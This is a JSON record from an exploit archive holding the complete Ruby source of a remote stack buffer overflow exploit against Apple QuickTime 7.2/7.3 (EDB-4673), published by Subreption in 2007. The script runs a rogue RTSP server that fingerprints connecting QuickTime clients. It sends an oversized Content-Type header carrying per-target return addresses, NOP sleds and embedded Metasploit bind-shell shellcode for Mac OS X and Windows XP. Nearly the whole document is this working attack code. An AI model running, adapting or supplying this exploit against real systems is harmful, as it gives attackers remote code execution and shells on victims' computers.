{"exploit":{"id":"EDB-4673","name":"Apple QuickTime 7.2/7.3 (OSX/Windows) - RTSP Response Content-Type Header Stack Buffer Overflow","description":"Apple QuickTime 7.2/7.3 (OSX/Windows) - RTSP Response Content-Type Header Stack Buffer Overflow","cves":["CVE-2002-0252"],"author":"Subreption LLC.","published":"2007-11-29","platform":"multiple","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4673","path":"exploits/multiple/remote/4673.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4673.rb","vulnerabilities":[{"id":"CVE-2002-0252","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Apple QuickTime Player 5.01 and 5.02 allows remote web servers to execute arbitrary code via a response containing a long Content-Type MIME header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-0252","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-0252"},"updatedAt":"2024-08-08T02:42:29.000Z","retrievedAt":"2026-11-27T03:08:50.445Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4673.png?v=2","url":"https://exploitbin.com/exploits/EDB-4673","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4673/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4673/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Copyright (C) 2007 Subreption LLC. All rights reserved.\n# Visit http://blog.subreption.com for exploit development notes.\n#\n# References:\n#   http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)\n#   http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)\n#   From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)\n#   http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252\n#   BID: https://www.securityfocus.com/bid/26549\n#\n# Notes:\n#   Payload badchars: \\x00 \\x09 \\x0a \\x0d \\x20 \\x22 \\x25 \\x26 \\x27 \\x2b \\x2f\n#                     \\x3a \\x3c \\x3e \\x3f \\x40\n#\n#   The example addresses and data will trigger an IDS signature easily.\n#   Remove them if you're not testing, and change padding sizes accordingly.\n#   Use the String.rand_alpha() method to generate random strings.\n#\n# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)\n#\n# We would like to thank...\n#   Kevin Finisterre, for providing PowerPC testing environment and general\n#   aid in the development and proofing of this code for Mac OS X on PPC.\n\n#   HD Moore for his suggestions and Metasploit code.\n#\n# Distributed under the terms of the Subreption Open Source License v1.0\n# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt\n#\n\nrequire 'socket'\ninclude Socket::Constants\n\ndef String.rand_alpha(size = 16)\n  (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join\nend\n\nmodule MiscUtils\n  def self.myputs(msg)\n    puts \"#{$0}: #{msg}\"\n  end\n\n  # From Metasploit Rex library:\n  # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb\n  def self.rel_number(num, delta = 0)\n    s = num.to_s\n    case s[0, 2]\n      when '$+'\n       num = s[2 .. -1].to_i\n      when '$-'\n       num = -1 * s[2 .. -1].to_i\n      when '0x'\n       num = s.hex\n      else\n       delta = 0\n    end\n    return num + delta\n  end\nend\n\n# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()\nMSF_OSX_X86 =\n\"\\x31\\xc0\\x50\\x68\\xff\\x02\\x14\\xea\\x89\\xe7\\x50\\x6a\\x01\\x6a\\x02\\x6a\" +\n\"\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x68\\x58\\xcd\\x80\\x89\\x47\\xec\" +\n\"\\xb0\\x6a\\xcd\\x80\\xb0\\x1e\\xcd\\x80\\x50\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\" +\n\"\\x4f\\xe4\\x79\\xf6\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\" +\n\"\\xe3\\x50\\x54\\x54\\x53\\x50\\xb0\\x3b\\xcd\\x80\\x31\\xc0\\x50\\xb0\\x01\\xcd\" +\n\"\\x80\"\n\n# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2\nMSF_WIN_X86 =\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x37\\x49\\x49\\x49\\x49\" +\n\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x51\\x5a\\x6a\\x42\" +\n\"\\x58\\x50\\x30\\x42\\x31\\x41\\x42\\x6b\\x42\\x41\\x52\\x32\\x42\\x42\\x32\\x41\" +\n\"\\x41\\x30\\x41\\x41\\x58\\x42\\x50\\x38\\x42\\x42\\x75\\x39\\x79\\x4b\\x4c\\x61\" +\n\"\\x7a\\x38\\x6b\\x50\\x4d\\x68\\x68\\x69\\x69\\x4b\\x4f\\x4b\\x4f\\x59\\x6f\\x53\" +\n\"\\x50\\x4e\\x6b\\x32\\x4c\\x44\\x64\\x35\\x74\\x6e\\x6b\\x30\\x45\\x57\\x4c\\x4e\" +\n\"\\x6b\\x41\\x6c\\x64\\x45\\x51\\x68\\x46\\x61\\x4a\\x4f\\x6c\\x4b\\x30\\x4f\\x46\" +\n\"\\x78\\x6c\\x4b\\x71\\x4f\\x47\\x50\\x33\\x31\\x5a\\x4b\\x61\\x59\\x6e\\x6b\\x50\" +\n\"\\x34\\x4e\\x6b\\x46\\x61\\x78\\x6e\\x50\\x31\\x69\\x50\\x4e\\x79\\x4e\\x4c\\x4b\" +\n\"\\x34\\x6b\\x70\\x52\\x54\\x63\\x37\\x38\\x41\\x6a\\x6a\\x44\\x4d\\x63\\x31\\x6b\" +\n\"\\x72\\x68\\x6b\\x49\\x64\\x77\\x4b\\x30\\x54\\x41\\x34\\x45\\x78\\x52\\x55\\x69\" +\n\"\\x75\\x6e\\x6b\\x73\\x6f\\x75\\x74\\x56\\x61\\x7a\\x4b\\x33\\x56\\x4e\\x6b\\x36\" +\n\"\\x6c\\x72\\x6b\\x4c\\x4b\\x53\\x6f\\x35\\x4c\\x77\\x71\\x38\\x6b\\x47\\x73\\x44\" +\n\"\\x6c\\x6e\\x6b\\x4b\\x39\\x32\\x4c\\x35\\x74\\x77\\x6c\\x65\\x31\\x69\\x53\\x56\" +\n\"\\x51\\x49\\x4b\\x65\\x34\\x4e\\x6b\\x67\\x33\\x34\\x70\\x4c\\x4b\\x77\\x30\\x74\" +\n\"\\x4c\\x6e\\x6b\\x64\\x30\\x47\\x6c\\x4c\\x6d\\x6e\\x6b\\x41\\x50\\x63\\x38\\x53\" +\n\"\\x6e\\x70\\x68\\x4e\\x6e\\x62\\x6e\\x56\\x6e\\x38\\x6c\\x52\\x70\\x6b\\x4f\\x7a\" +\n\"\\x76\\x72\\x46\\x61\\x43\\x43\\x56\\x52\\x48\\x77\\x43\\x64\\x72\\x51\\x78\\x71\" +\n\"\\x67\\x50\\x73\\x70\\x32\\x71\\x4f\\x31\\x44\\x4b\\x4f\\x4a\\x70\\x75\\x38\\x78\" +\n\"\\x4b\\x68\\x6d\\x49\\x6c\\x75\\x6b\\x46\\x30\\x4b\\x4f\\x79\\x46\\x53\\x6f\\x6f\" +\n\"\\x79\\x38\\x65\\x73\\x56\\x4c\\x41\\x58\\x6d\\x64\\x48\\x65\\x52\\x72\\x75\\x32\" +\n\"\\x4a\\x73\\x32\\x49\\x6f\\x4a\\x70\\x33\\x58\\x78\\x59\\x63\\x39\\x39\\x65\\x4c\" +\n\"\\x6d\\x72\\x77\\x6b\\x4f\\x6e\\x36\\x50\\x53\\x52\\x73\\x51\\x43\\x70\\x53\\x33\" +\n\"\\x63\\x71\\x53\\x63\\x63\\x61\\x53\\x33\\x63\\x4b\\x4f\\x5a\\x70\\x73\\x56\\x51\" +\n\"\\x78\\x37\\x61\\x41\\x4c\\x50\\x66\\x53\\x63\\x6c\\x49\\x5a\\x41\\x5a\\x35\\x51\" +\n\"\\x78\\x4d\\x74\\x67\\x6a\\x30\\x70\\x4b\\x77\\x66\\x37\\x79\\x6f\\x4b\\x66\\x41\" +\n\"\\x7a\\x32\\x30\\x72\\x71\\x33\\x65\\x59\\x6f\\x38\\x50\\x70\\x68\\x6f\\x54\\x6e\" +\n\"\\x4d\\x64\\x6e\\x38\\x69\\x32\\x77\\x4b\\x4f\\x4e\\x36\\x51\\x43\\x41\\x45\\x39\" +\n\"\\x6f\\x4a\\x70\\x71\\x78\\x4a\\x45\\x71\\x59\\x6d\\x56\\x43\\x79\\x76\\x37\\x4b\" +\n\"\\x4f\\x39\\x46\\x52\\x70\\x72\\x74\\x46\\x34\\x31\\x45\\x4b\\x4f\\x68\\x50\\x4e\" +\n\"\\x73\\x43\\x58\\x6b\\x57\\x71\\x69\\x6f\\x36\\x53\\x49\\x76\\x37\\x6b\\x4f\\x38\" +\n\"\\x56\\x71\\x45\\x6b\\x4f\\x48\\x50\\x35\\x36\\x70\\x6a\\x31\\x74\\x45\\x36\\x31\" +\n\"\\x78\\x62\\x43\\x32\\x4d\\x6f\\x79\\x7a\\x45\\x71\\x7a\\x30\\x50\\x33\\x69\\x46\" +\n\"\\x49\\x6a\\x6c\\x6b\\x39\\x6a\\x47\\x73\\x5a\\x51\\x54\\x6f\\x79\\x6d\\x32\\x30\" +\n\"\\x31\\x59\\x50\\x38\\x73\\x4d\\x7a\\x59\\x6e\\x43\\x72\\x36\\x4d\\x69\\x6e\\x73\" +\n\"\\x72\\x54\\x6c\\x6f\\x63\\x4c\\x4d\\x72\\x5a\\x74\\x78\\x4c\\x6b\\x6c\\x6b\\x6e\" +\n\"\\x4b\\x35\\x38\\x50\\x72\\x6b\\x4e\\x4c\\x73\\x64\\x56\\x4b\\x4f\\x43\\x45\\x32\" +\n\"\\x64\\x79\\x6f\\x7a\\x76\\x33\\x6b\\x32\\x77\\x62\\x72\\x63\\x61\\x33\\x61\\x30\" +\n\"\\x51\\x30\\x6a\\x53\\x31\\x71\\x41\\x46\\x31\\x52\\x75\\x32\\x71\\x6b\\x4f\\x4e\" +\n\"\\x30\\x70\\x68\\x4e\\x4d\\x7a\\x79\\x46\\x65\\x4a\\x6e\\x72\\x73\\x69\\x6f\\x58\" +\n\"\\x56\\x72\\x4a\\x69\\x6f\\x69\\x6f\\x66\\x57\\x39\\x6f\\x58\\x50\\x4c\\x4b\\x41\" +\n\"\\x47\\x6b\\x4c\\x6c\\x43\\x4f\\x34\\x32\\x44\\x4b\\x4f\\x68\\x56\\x76\\x32\\x4b\" +\n\"\\x4f\\x4e\\x30\\x71\\x78\\x33\\x4e\\x6a\\x78\\x49\\x72\\x43\\x43\\x61\\x43\\x4b\" +\n\"\\x4f\\x48\\x56\\x69\\x6f\\x6a\\x70\\x42\"\n\nmodule AppleOSX\nclass QuicktimeRedux\n  TARGET_MATRIX = {\n    # Mac OS X Leopard on PowerPC (ppc)\n    \"7.3-Mac 10.5.1-PPC\" => {\n      # Stack on PPC is still executable\n      :ret_address  => 0xbfffcb0c+50,\n      :padding_size => 559,\n\n      # Shellcode will -likely- require changes here\n      :prepend_data => (\n        [0xdead5841].pack(\"N\") +  # r22\n        [0xdead5842].pack(\"N\") +  # r23\n        [0xdead4141].pack(\"N\") +  # r24\n        [0xdead4142].pack(\"N\") +  # r25\n        [0xdead4143].pack(\"N\") +  # r26\n        [0xdead4144].pack(\"N\") +  # r27\n        [0xdead4145].pack(\"N\") +  # r28\n        [0xdead4146].pack(\"N\") +  # r29\n        [0xdead4147].pack(\"N\") +  # r30\n        [0xdead4148].pack(\"N\") +  # r31\n        [0xdead4150].pack(\"N\") +  #\n        [0xdead4151].pack(\"N\") +  #\n        [0xdead4152].pack(\"N\") +  # at $sp+0\n        [0xdead4153].pack(\"N\")    # at $sp+4\n      ),\n      :append_data  => (\"\"),\n      :shellcode    => ( \"\\x69\" * 120 )\n    },\n\n    # Mac OS X Leopard on IA32 (x86) build 9B18\n    \"7.3-Mac 10.5.1-IA32\" => {\n      # Return-to-dyld stub is not reliable unless the machine\n      # hasn't randomized the dyld base address.\n      :ret_address  => 0xdeadbeef,\n      :padding_size => 291,\n      :prepend_data => (\n        [0x11223344].pack(\"V\")  +      # ebx\n        [0x41424142].pack(\"V\")  +      # esi\n        [0x31337666].pack(\"V\")  +      # edi\n        [0xdefacedd].pack(\"V\")         # ebp\n      ),\n      :append_data  => (\n        [0xa0a7e44a].pack(\"V\")  +      # to dyld_stub_exit\n        [0xbffffaa3].pack(\"V\")         # address to /bin/bash\n      ),\n\n      :shellcode    => (\n        \"screencapture -S ~/Desktop/US.png; exit;\" +\n        (\"\\x90\" * 130) + MSF_OSX_X86\n      )\n    },\n\n    # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)\n    # Apparently, it advertises 10.4.9 instead of 10.4.11\n    \"7.3-Mac 10.4.9-IA32\" => {\n      # Return-to-dyld stub works reliably on Tiger\n      # 0xa0be2280 for dyld_stub_system\n      :ret_address  => 0xa0be2280,\n      :padding_size => 291,\n      :prepend_data => (\n        [0x917f1413].pack(\"V\")  +      # ebx\n        [0xffffeae6].pack(\"V\")  +      # esi\n        [0x14533050].pack(\"V\")  +      # edi\n        [0xbfffd27c].pack(\"V\")         # ebp\n      ),\n\n      # exit() stub is problematic with some atexit code\n      # because of corrupted frames, we use abort() instead.\n      # A /bin/bash string (from env) is usually at 0xbffffc23\n      # when running under gdb, or 0xbffffe5c if started\n      # via dock. If started from Terminal, it's at 0xbffffc3e.\n      :append_data  => (\n        [0xa0815587].pack(\"V\")  +      # to dyld_stub_abort\n        [0xbffffc3e].pack(\"V\")         # address system() command\n      ),\n\n      # NOP sled + Metasploit shellcode + NOP sled + int3\n      :shellcode    => (\n        (\"\\x90\" * 140) + MSF_OSX_X86 + (\"\\x90\" * 30) + \"\\xcc\"\n      )\n    },\n\n    # Mac OS X Tiger on PowerPC (PPC)\n    # It also advertises 10.4.9 instead of 10.4.11\n    \"7.3-Mac 10.4.9-PPC\" => {\n      # Stub address for system() contains a null byte.\n      # system() address contains filtered char.\n      :ret_address  => 0xdeadbeef,\n      :padding_size => 559,\n      :prepend_data => (\n        [0xdead5841].pack(\"N\") +  # r22\n        [0xdead5842].pack(\"N\") +  # r23\n        [0xdead4141].pack(\"N\") +  # r24\n        [0xdead4142].pack(\"N\") +  # r25\n        [0xdead4143].pack(\"N\") +  # r26\n        [0xdead4144].pack(\"N\") +  # r27\n        [0xdead4145].pack(\"N\") +  # r28\n        [0xdead4146].pack(\"N\") +  # r29\n        [0xdead4147].pack(\"N\") +  # r30\n        [0xdead4148].pack(\"N\") +  # r31\n        String.rand_alpha(16)\n      ),\n      :append_data  => (\n        [0x942bce80].pack(\"N\")  + # to dyld_stub_abort\n        [0x58585858].pack(\"N\")\n      ),\n      :shellcode    => (\n        \"\\x69\" * 120\n      )\n    },\n\n    # Microsoft Windows targets\n\n    # 7.3 on XP SP2, based on the original Metasploit module by MC\n    # This one is elegant and reliable :)\n    # (uses address from QuickTimeStreaming.qtx version 7.3.0.70)\n    \"7.3-Windows NT 5.1Service Pack 2-IA32\" => {\n      # pop esi; pop ebx; ret\n      :ret_address  => 0x67644297,\n      :padding_size => 991+MSF_WIN_X86.size,\n      :prepend_data => (\n        \"\\xeb\" + [MiscUtils::rel_number(6, -2)].pack(\"V\")[0,1] +\n        \"\\x90\\x90\"\n      ),\n      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),\n      :shellcode    => MSF_WIN_X86\n    },\n\n    # 7.3 on Vista\n    # We are not including it yet, feel free to play around\n    \"7.3-Windows NT 6.0-IA32\" => {\n      :ret_address  => 0xdeadbeef,\n      :padding_size => 991+MSF_WIN_X86.size,\n      :prepend_data => (\"\"),\n      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),\n      :shellcode    => MSF_WIN_X86\n    }\n  }\n\n  # Generates headers for a Quicktime RTSP response, and injects\n  # the payload into the Content-Type header (including the padding).\n  def make_header(body_length, payload)\n    \"RTSP/1.0 200 OK\\r\\n\"                           +\n    \"CSeq: 1\\r\\n\"                                   +\n    \"Content-Base: rtsp://0.0.0.0/#{@mpfile}\\r\\n\"  +\n    \"Content-Type: #{payload}\\r\\n\"                  +\n    \"Content-Length: #{body_length}\\r\\n\"            +\n    \"\\r\\n\"\n  end\n\n  # Generates a body for a Quicktime RTSP response\n  def make_body\n    rand_str = String.rand_alpha(rand(10)+1)\n    rand_nam = String.rand_alpha(rand(20)+1)\n    \"v=0\\r\\n\"                                                   +\n    \"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\\r\\n\"              +\n    \"s=MPEG-1 or 2 Audio, streamed by #{rand_str}\\r\\n\"          +\n    \"i=#{@mpfile}\\r\\n\"                                          +\n    \"t=0 0\\r\\n\"                                                 +\n    \"a=tool:#{rand_nam}\\r\\n\"                                    +\n    \"a=type:broadcast\\r\\n\"                                      +\n    \"a=control:*\\r\\n\"                                           +\n    \"a=range:npt=0-213.077\\r\\n\"                                 +\n    \"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\\r\\n\"  +\n    \"a=x-qt-text-inf:#{@mpfile}\\r\\n\"                            +\n    \"m=audio 0 RTP/AVP 14\\r\\n\"                                  +\n    \"c=IN IP4 0.0.0.0\\r\\n\"                                      +\n    \"a=control:track1\\r\\n\"\n  end\n\n  # Construct a payload without filtered characters, for the target provided.\n  # The information is extracted from the target matrix variable.\n  def build_payload(target)\n    target_name = \"#{target[:version]}-#{target[:os]}-#{target[:arch]}\"\n    selected    = TARGET_MATRIX[target_name]\n    unless selected\n      MiscUtils::myputs \"Target not available, check User-Agent format!\"\n       MiscUtils::myputs target_name\n      return ''\n    end\n\n    MiscUtils::myputs \"Building payload for '#{target_name}'...\"\n    MiscUtils::myputs \"Return address: #{sprintf(\"0x%08x\",selected[:ret_address])}, \" +\n                      \"shellcode: #{selected[:shellcode].size} bytes.\"\n\n    payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)\n\n    unless target[:os] =~ /Windows/\n      payload << selected[:shellcode]\n      payload << selected[:prepend_data]\n\n      # Handle big-endian / little-endian\n      if target[:arch] == \"PPC\"\n        payload << [selected[:ret_address]].pack(\"N\")\n      else\n        payload << [selected[:ret_address]].pack(\"V\")\n      end\n    else\n      payload << selected[:prepend_data]\n      payload << [selected[:ret_address]].pack(\"V\")\n      payload << selected[:shellcode]\n    end\n\n    # Appended data comes always at end of payload\n    payload << selected[:append_data]\n\n    MiscUtils::myputs \"Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)\"\n\n    return payload\n  end\n\n  # Threaded 'listener': waits until a Quicktime client connects and fingerprints\n  # its version, architecture and operating system version. Builds a response with\n  # the correct payload and sends it back to the client.\n  def exploit\n    loop do\n      socket = @server.accept\n      Thread.start do\n        s    = socket\n        port = s.peeraddr[1]\n        name = s.peeraddr[2]\n        addr = s.peeraddr[3]\n\n        MiscUtils::myputs \"RTSP Connection from #{name} (#{addr}:#{port})\"\n\n        request = s.recv(1024)\n        # Verify it's Quicktime and not some other application\n        # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)\n        if request =~ /User-Agent: QuickTime/i\n          target = Hash.new\n\n          if request =~ /Windows/\n            qtver = request.scan(/\\(qtver=(.+?);os=(.+?)\\)\\r\\n/).flatten\n            target[:version] = qtver[0]\n            target[:arch]    = \"IA32\"\n            target[:os]      = qtver[1]\n          else\n            qtver = request.scan(/\\(qtver=(.+?);cpu=(.+?);os=(.+?)\\)\\r\\n/).flatten\n            target[:version] = qtver[0]\n            target[:arch]    = qtver[1]\n            target[:os]      = qtver[2]\n          end\n\n          MiscUtils::myputs \"RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}\"\n\n          # Build payload and the full response body\n          begin\n            payload = build_payload(target)\n            body    = make_body()\n            header  = make_header(body.size, payload)\n            resp    = (header+body)\n          rescue\n            raise \"Something happened trying to build a response!\"\n          end\n\n          # Send it to the client\n          s.write(resp)\n\n          MiscUtils::myputs \"RTSP Sent #{resp.size} bytes...\"\n        else\n          # It's not a Quicktime client\n          MiscUtils::myputs \"RTSP Connection doesn't seem to come from Quicktime!\"\n          s.write(String.rand_alpha(rand(500)))\n        end\n      end\n    end\n  end\n\n  # Initialize the exploit with the local listening port, server socket, etc.\n  def initialize(rtsp_port = 554)\n    @server = TCPServer.new(\"0.0.0.0\", rtsp_port)\n    @mpfile = String.rand_alpha(rand(12)+1) + '.mp3'\n\n    rtsp_addrs  = @server.addr[2..-1].uniq.collect{|a|\"#{a}:#{rtsp_port}\"}.join(' ')\n    MiscUtils::myputs \"RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}\"\n    MiscUtils::myputs \"RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}\"\n  end\nend\nend\n\ntrap(\"INT\") do\n  puts \"Exiting!\"\n  exit\nend\n\nputs \"Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit\"\nputs \"Copyright (C) 2007, Subreption LLC. All rights reserved.\"\ntest_run = AppleOSX::QuicktimeRedux.new()\ntest_run.exploit\n\n# milw0rm.com [2007-11-29]","sha256":"b5e508f20e9425828ed702c45433893a4d12bbe4e844fdee6e8396e2bbd24207","bytes":15785,"fetchedAt":"2026-11-27T03:08:48.737Z","encoding":"utf-8 (display only; download retains original bytes)"}